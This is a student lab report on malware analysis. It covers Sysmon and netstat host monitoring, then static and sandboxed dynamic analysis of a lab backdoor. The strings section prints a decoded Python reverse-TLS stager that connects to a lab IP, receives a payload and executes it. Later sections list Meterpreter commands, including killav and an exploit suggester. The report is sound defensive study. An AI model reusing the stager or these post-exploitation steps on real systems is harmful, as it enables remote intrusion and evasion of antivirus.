网络对抗实验4--恶意代码分析

2022/4/16 6:18:13

本文主要是介绍网络对抗实验4--恶意代码分析,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

实 验 报 告

课程:网络对抗技术

班级:1912      姓名:陈发强      学号:20191206

实验名称:免杀原理         实验日期:2022.4.15


实验目的

  1. 监控你自己系统的运行状态,看有没有可疑的程序在运行。

  2. 分析一个恶意软件,工具尽量使用原生指令或sysinternals,systracer套件。

  3. 假定将来工作中你觉得自己的主机有问题,就可以用实验中的这个思路,先整个系统监控看能不能找到可疑对象,再对可疑对象进行进一步分析,好确认其具体的行为与性质。

实验内容

  1. 系统运行监控

(1)使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP是哪里。运行一段时间并分析该文件,综述一下分析结果。目标就是找出所有连网的程序,连了哪里,大约干了什么(不抓包的情况下只能猜),你觉得它这么干合适不。如果想进一步分析的,可以有针对性的抓包。

(2)安装配置sysinternals里的sysmon工具,设置合理的配置文件,监控自己主机的重点事可疑行为。

  1. 恶意软件分析

分析该软件在 启动回连,安装到目标机 及 其他任意操作时,该后门软件
(1)读取、添加、删除了哪些注册表项

(2)读取、添加、删除了哪些文件

(3)连接了哪些外部IP,传输了什么数据(抓包分析)

实验过程

(一)系统运行监控

1. 使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP是哪里。

1.1 编写计划任务所需执行的脚本

date /t >> D:\wildlinux\netstatlog1206.txt            //输出日期  YYYY/MM/DD 周几
time /t >> D:\wildlinux\netstatlog1206.txt            //输出时间  hh:mm
netstat -bn >> D:\wildlinux\netstatlog1206.txt        //

1.2 添加任务计划(每分钟记录一下网络状态)

schtasks /create /TN 1206netcontrol /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > D:\wildlinux\netstatlog1206.txt"

打开任务计划程序

win R + taskschd.msc

找到刚刚创建的任务,查看它的属性

在常规中选择使用最高权限运行,在条件中关闭电源限制

在操作中把要执行的 cmd 改成之前写好的 bat 脚本

之后 windows 就会每个一分钟,执行一次指定的脚本

我在 30 分钟后 手动结束了任务

1.3 日志数据分析

然后使用 Excel 分析刚刚脚本产生的数据

导入数据、设置分割符

建立数据透视图

同样可以建立外部地址的数据透视图

结果分析

在第一张图中,SLBrowser.exe 最发起的连接最多,svchost.exe 第二 ,setup.exe 第三

SLBrower.exe 是正在使用的浏览器,正常

svchost.exe是微软Windows操作系统中的系统文件,正常。
微软官方对它的解释是:svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对系统的正常运行是非常重要,而且是不能被结束的。许多服务通过注入到该程序中启动,所以会有多个该文件的进程。

setup.exe 是 什么就不知道了,值得怀疑一下

打开资源监视器,发现是 VC 建立的连接。当时正在更新 Visual Studio。

发现 QQ 浏览器在偷偷地向外建立连接,kill掉

再看看第二张图中的 IP 都是什么地方的

上站长工具 https://ip.tool.chinaz.com/

可惜没充钱,用不了付费功能

2. 安装配置 sysinternals 里的sysmon工具,设置合理的配置文件,监控自己主机的重点事可疑行为。

下载地址: https://download.sysinternals.com/files/Sysmon.zip

官方文档:https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysmon

ID 标记 事件
1 ProcessCreate 进程创建
2 FileCreateTime 文件创建时间
3 NetworkConnect 检测到网络连接
4 n/a 无法筛选 Sysmon 服务状态更改
5 ProcessTerminate 进程已终止
6 DriverLoad 已加载驱动程序
7 ImageLoad 加载的图像
8 CreateRemoteThread 检测到 CreateRemoteThread
9 RawAccessRead 检测到 RawAccessRead
10 ProcessAccess 访问的进程
11 FileCreate 创建的文件
12 RegistryEvent 添加或删除的注册表对象
13 RegistryEvent 注册表值集
14 RegistryEvent 重命名的注册表对象
15 FileCreateStreamHash 创建的文件流
16 n/a 无法筛选 Sysmon 配置更改 ()
17 PipeEvent 已创建的命名管道
18 PipeEvent 已连接的命名管道
19 WmiEvent WMI 筛选器
20 WmiEvent WMI 使用者
21 WmiEvent WMI 使用者筛选器
22 DNSQuery DNS 查询
23 FileDelete 文件删除存档
24 ClipboardChange 剪贴板中的新内容
25 ProcessTampering 处理图像更改
26 FileDeleteDetected 记录的文件删除

过滤选项,查看一个事件的详细信息里面就能看到它都记录了哪些选项。

这里列几个常用的

===========================================================================================================
进程创建 ProcessCreate 过滤事件选项:
Image, CommandLine, CurrentDirectory, User, IntegrityLevel, ParentImage, ParentCommandLine

===========================================================================================================
网络连接 NetworkConnect 过滤事件选项:
Image, SourceIp, SourcePort, DestinationIp, DestinationHostname, DestinationPort

===========================================================================================================
远程线程创建 CreateRemoteThread 过滤事件选项:
SourceImage, TargetImage, StartAddress, StartModule, StartFunction

===========================================================================================================

2.1 编写配置文件

<Sysmon schemaversion="4.81">
  <!-- Capture all hashes -->
  <HashAlgorithms>*</HashAlgorithms>
  <EventFiltering>
    <!-- Log all drivers except if the signature -->
    <!-- contains Microsoft or Windows -->
    <DriverLoad onmatch="exclude">                       <!-- 驱动加载,除了windows和微软签名过的驱动 -->
      <Signature condition="contains">microsoft</Signature>
      <Signature condition="contains">windows</Signature>
    </DriverLoad>
    <ProcessCreate onmatch="exclude">                    <!-- 进程创建,除了 SLBrowser 都监视 -->
      <Image condition="end with">SLBrowser.exe</Image> 
    </ProcessCreate>
 
    <FileCreateTime onmatch="exclude" >                  <!-- 文件创建时间,除了 SLBrowser 都监视 -->
      <Image condition="end with">SLBrowser.exe</Image>
    </FileCreateTime>
    
    <NetworkConnect onmatch="exclude">                   <!-- 网络连接,除了 SLBrowser,源端口137,本地回环 都监视 -->   
      <Image condition="end with">SLBrowser.exe</Image>
      <SourcePort condition="is">137</SourcePort>    
      <SourceIp condition="is">127.0.0.1</SourceIp>
    </NetworkConnect>
 
    <CreateRemoteThread onmatch="include">               <!--创建远程线程,只监视以下 4 个 -->   
      <TargetImage condition="end with">explorer.exe</TargetImage>
      <TargetImage condition="end with">svchost.exe</TargetImage>
      <TargetImage condition="end with">winlogon.exe</TargetImage>
      <SourceImage condition="end with">powershell.exe</SourceImage>
    </CreateRemoteThread>
  </EventFiltering>
</Sysmon>

2.2 初始化(安装) Sysmon,之后更新 xml 配置可以 -c 完成

Sysmon.exe -i 1206config.xml

#### 2.3 打开日志:打开事件查看器(win+R运行eventvwr.msc)—> 应用程序和服务日志 -> Microsoft -> Windows -> Sysmon -> Operational

捕捉到的事件太多,不利于发现恶意软件。

2.4 进一步改进 XML 配置文件,把捕捉到的合法的操作都放过去。

<Sysmon schemaversion="4.81">
  <!-- Capture all hashes -->
  <HashAlgorithms>*</HashAlgorithms>
  <EventFiltering>
    <!-- Log all drivers except if the signature -->
    <!-- contains Microsoft or Windows -->
    <ProcessCreate onmatch="exclude">                    <!-- 进程创建 -->
      <Image condition="end with">SLBrowser.exe</Image>
	  <Image condition="end with">SLBAgent.exe</Image>
	  <Image condition="end with">SLBAgent.exe</Image>
	  <Image condition="end with">LeAppOM.exe</Image>
	  <Image condition="end with">conhost.exe</Image>
	  <Image condition="end with">dllhost.exe</Image>
	  <Image condition="end with">LeASPac.exe</Image>
	  <Image condition="end with">dwe.exe</Image>
	  <Image condition="end with">Taskmgr.exe</Image>
	  <Image condition="end with">perfmon.exe</Image>
	  <Image condition="is">C:\Windows\System32\TokenBrokerCookies.exe</Image>
	  <Image condition="is">C:\Windows\System32\plasrv.exe</Image> 
	  <Image condition="is">C:\Windows\System32\wifitask.exe</Image> 
	  <Image condition="is">C:\Windows\system32\CompatTelRunner.exe</Image> 
	  <Image condition="is">C:\Windows\system32\PrintIsolationHost.exe</Image> 
	  <Image condition="is">C:\Windows\system32\SppExtComObj.Exe</Image> 
	  <Image condition="is">C:\Windows\system32\audiodg.exe</Image> 
	  <Image condition="is">C:\Windows\system32\conhost.exe</Image> 
	  <Image condition="is">C:\Windows\system32\mobsync.exe</Image> 
	  <Image condition="is">C:\Windows\system32\musNotification.exe</Image> 
	  <Image condition="is">C:\Windows\system32\musNotificationUx.exe</Image> 
	  <Image condition="is">C:\Windows\system32\powercfg.exe</Image> 
	  <Image condition="is">C:\Windows\system32\sndVol.exe</Image> 
	  <Image condition="is">C:\Windows\system32\sppsvc.exe</Image> 
	  <Image condition="contains">SLBrowser</Image>
	  <Image condition="contains">LockScreen</Image>
	  <Product condition="contains">Windows</Product>
	  <Product condition="contains">Microsoft</Product>	  
    </ProcessCreate>
 
    <FileCreate onmatch="exclude" >                  <!-- 文件创建 -->
      <Image condition="end with">SLBrowser.exe</Image>
	  <Image condition="end with">backgroundTaskHost.exe</Image>
	  <Image condition="end with">LockScreenPlayer.exe</Image>
	  <Image condition="end with">svchost.exe</Image>
	  <Image condition="end with">SogouCloud.exe</Image>
    </FileCreate>
    
    <NetworkConnect onmatch="exclude">                   <!-- 网络连接 -->   
      <Image condition="end with">SLBrowser.exe</Image>
	  <Image condition="end with">SogouCloud.exe</Image>
	  <Image condition="end with">svchost.exe</Image>
	  <Image condition="end with">wpscloudsvr.exe</Image>
	  <Image condition="end with">LenovoAppupdate.exe</Image>
      <SourcePort condition="is">137</SourcePort>
	  <SourcePortName condition="is">netbios-ns</SourcePortName>
      <SourceIp condition="is">127.0.0.1</SourceIp>
	  <DestinationIp condition="is">127.0.0.1</DestinationIp>
    </NetworkConnect>
 
    <CreateRemoteThread onmatch="exclude">               <!--创建远程线程 -->   
      <TargetImage condition="end with">explorer.exe</TargetImage>
      <TargetImage condition="end with">svchost.exe</TargetImage>
      <TargetImage condition="end with">winlogon.exe</TargetImage>
      <SourceImage condition="end with">powershell.exe</SourceImage>
    </CreateRemoteThread>
  </EventFiltering>
</Sysmon>

2.5 重启 sysmon ,更新配置文件

Sysmon.exe -c 1206config.xml

或者

Sysmon.exe -u force

Sysmon.exe -i 1206config.xml

2.6 重新检查

找到了可疑的 进程创建 和 网络连接

企图连接到 192.168.144.151 的 1206 端口

(二)恶意软件分析

假设已经通过前面的系统监控,发现了可疑的恶意软件 20191206backdoor.exe

下面进一步分析,20191206backdoor.exe 想要对我们的电脑干什么,有什么功能

主要考虑三个方面:

  • 修改文件(改写注册表、启动项,删除重要数据...)
  • 网络连接(反弹shell,开启端口监听,向外部IP发送了什么数据...)
  • 进程(进程迁移、进程注入、进程提权...)

1. 静态分析

1.1 Virus Total 行为分析

没分析出太多有用的信息,可能是因为这个后门的检出率本来就小

1.2 PEiD 分析

PEiD(PEIdentifier)是一款著名的查壳工具,其功能强大,几乎可以侦测出所有的壳,其数量已超过470种PE文档的加壳类型和签名。

正常扫描模式:可在PE文档的入口点扫描所有记录的签名
深度扫描模式:可深入扫描所有记录的签名,这种模式要比上一种的扫描范围更广、更深入
核心扫描模式:可完整地扫描整个PE文档,PEiD内置有差错控制的技术,所以一般能确保扫描结果的准确性

说不是PE文件......

再拿到 kali 里面 file 一下

file 20191206backdoor.exe

PE32+ executable (GUI) x86-64, for MS Windows

来都来了,加个壳再走吧

upx 20191206backdoor.exe -o 20191206backdoor_upx.exe

再用 PEiD 检测一下,依然没检测出来

再给次机会吧,给个经典的 windows meterpreter reverse tcp 的 upx 压缩壳

检测出来了

1.3 kali strings 命令

strings 在二进制文件中查找可打印的字符串。

-a --all:扫描整个文件而不是只扫描目标文件初始化和装载段

strings -a 20191206backdoor.exe | less 

发现一串 base64

拿去解码一下,结果有奇效,发现恶意软件主要源代码 !!!

import zlib,base64,ssl,socket,struct,time
for x in range(10):
	try:
		so=socket.socket(2,1)
		so.connect(('192.168.144.151',1206))
		s=ssl.wrap_socket(so)
		break
	except:
		time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
	d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})

1.4 IDA pro 反汇编 和 反编译

1.4.1 F5 一键反编译

IDA View-A是反汇编窗口,

HexView-A是十六进制格式显示的窗口,

Imports是导入表(程序中调用到的外面的函数),

Functions是函数表(这个程序中的函数),

Structures是结构,

Enums是枚举。

反汇编窗口有个小小的流程图

Functions 里没有 main 函数, 有 start 函数

暂时先到这个程度

2. 动态分析

动态分析就要运行恶意程序了,要先弄个沙盒给它隔离起来

在 沙盒 sandboxie-plus 中运行 20191206backdoor.exe

2.1 systracer 快照对比(主要是文件对比)

由于 20191206backdoor.exe 是在沙盒中运行的,systracer 也要在沙盒中运行

2.1.1 在运行 20191206backdoor.exe 之前先拍一个快照,作为对照

2.1.2 在 20191206backdoor.exe 连上 kali 之后,再拍一个快照

2.1.3 在 kali 执行攻击命令之后,再拍一个快照

ls

download ./20191206backdoor_upx.exe

screenshot

run killav

run post/multi/recon/local_exploit_suggester

2.1.4 比较前两个快照

可见,后门连接前后,注册表没有明显发生变化,但是在 C 盘根目录多了两个隐藏文件 pagefile.sys 虚拟内存页面文件。
同时检测到应用软件 20191206backdoor.exe 的状态变化,多次建立 TCP 连接,并打开的多个句柄。

2.1.4 比较前后两个快照

在 pdf 文件中可以看到注册表变化的细节

可以发现运行过 screenshot

有些文件也有细微的变化,但是我们不能确认是否是因为被攻击而导致

2.2 wireshark 网络流量分析

我是NAT, 所以选中 VMnet8 这张网卡,开始捕获

由于 payload 是 reverse_tcp_ssl 所以可以看到 TLS 协议(SSL)

可见,恶意软件 从 192.168.144.1:30725 连向 192.168.144.141:1206

再用 wireshark 分析一下流量

Client Hello

这一握手过程,客户端以明文形式传输了如下信息:
版本信息(TLS 1.2)
随机数
Session ID(会话ID)
加密套件列表
压缩算法列表
其它一些扩展(Extension),比如服务器名称,签名哈希算法,支持的TLS版本号

=====
Server Hello

选择的TLS版本号
随机数
Session ID
选择的加密套件
选择的压缩算法
没有证书

=====
Server Key Exchange

在前面的Server Hello中,双方已经协商好了密码套件,对于套件里面的非对称加密算法,有些需要更多的信息才能生成一个可靠的密码,而有些不需要,比如RSA,就不需要发送这个消息,客户端自己生成一个准密码(premaster)就可以了,而有些算法,比如ECDHE,就需要发送一点特殊的信息给客户端,便于它生成premaster。
premaster可以理解为最终密码的初级版本,有了这个密码之后,稍微再做一下计算就可以得到最终要使用的对称加密的密码

=====
Client发送Change Cipher Spec,指示Server从现在开始发送的消息都是加密过的。接着,客户端会发Encrypted Handshake Message消息,把之前发送的数据做一个摘要,再用对称密钥加密一下,让服务端做个验证,验证下本次生成的对称密钥是否可以正常使用。

=====

简单总结一下:
发起连接 从 192.168.144.1:30725 连向 192.168.144.141:1206
使用 TLS/SSL 协议
使用了密码套件,对数据进行了加密处理
有两次时间间隔不相等的尖峰,很可能是攻击者在手动进行操控

2.3 Process Explorer 进程分析

同样,在 sandboxie-plus 中运行

可以看到进程使用网络的情况

进程基本信息

进程的线程信息

使用资源的情况

最后把这个进程 kill 掉

实验体会

通过本次实验,我对如何判断系统是否有恶意软件在搞事情,有了进一步的理解和领悟。以前如果我的计算机中了病毒,我都会先把网络断掉,然后关门打狗。现在可能多掌握了几种方法。

在系统监控的环节中,产生的日志消息是很多的。如何从减少无用的日志信息,并从大量的日志信息中提取中有用的信息,并最终发现异常,在本次实验中我发现这并不容易。尤其是在第一次 sysmon 监控系统的时候,小小的配置文件,导致了大量的无用数据,而要从大量的数据中找到恶意程序的数据,要人工手工,简直是不可能。所以说,运维也不容易啊。

更何况,一个合格的病毒,应该能伪装成正常的程序和功能,使其不容易被发现。

在恶意软件分析中,基本掌握了基础的静态分析方法和动态分析方法。没想到这次实验中,静态分析方法中的 strings 命令工具,居然大显神威,是本次实验中最有效的分析方法,直接看到了源代码的base64,解码之后就是恶意软件的源代码。

这也提醒我们,在恶意软件分析的时候要综合使用静态方法和动态方法,不可偏废。

基础问题回答

(一)如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。

1. 黑盒

监控分析网络流量。可以用 wireshark 抓包,用 nmap 扫描自己等方法。

2. 白盒

白盒的手段相对较多。
可以启用系统监控程序,分析系统日志(sysmon,SysinternalsSuite)
可以分析系统文件的变动(systracer 快照对比,FileSnap)
可以分析系统进程信息(Process Explorer,资源管理器)
可以分析监听网卡,查看网络和端口状况(wireshark,nmap,netstat)

(二)如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。

1. 静态分析方法

分析方法 目的 使用工具 难度
恶意代码扫描 标识已知恶意代码 反病毒引擎,VirusTotal
文件格式识别 确定攻击平台和类型 file,peid,FileAnalyzer
字符串提取 寻找恶意代码分析线索 Strings
二进制结构分析 初步了解二进制文件结构 binutils(nm,objdump)
反汇编 二进制代码->汇编代码 IDAPro,GDB,VC,… 中高
反编译 汇编代码->高级语言 REC,DCC,JAD,… 中高
代码结构与逻辑分析 分析二进制代码组,理解二进制代码逻辑成结构 IDAPro,Ollydbg,…
加壳识别和代码脱壳 识别是否加壳及类型;对抗代码混淆恢复原始代码 UPX,VMUnpacker,手工

2. 动态分析方法

分析方法 目的 使用工具 难度
快照比对 获取恶意代码行为结果 FileSnap,RegSnap,完美卸载
动态行为监控(APIHooking) 实时监控恶意代码动态行为轨迹 Filemon,Regmon,ProcessExplorer,lsof…
网络监控 分析恶意代码网络监听端口及发起网络会话 wireshark,Fport,lsof,TDImon,ifconfig,tcpdump,…
沙盒(sandbox) 在受控环境下进行完整的恶意代码动态行为监控与分析 NormanSandbox,CWSandbox,FVMSandbox,… 中高
动态跟踪调试 单步调试恶意代码程序,理解程序结构和逻辑 Ollydbg,IDAPro,gdb,SoftICE,systrace,…


这篇关于网络对抗实验4--恶意代码分析的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程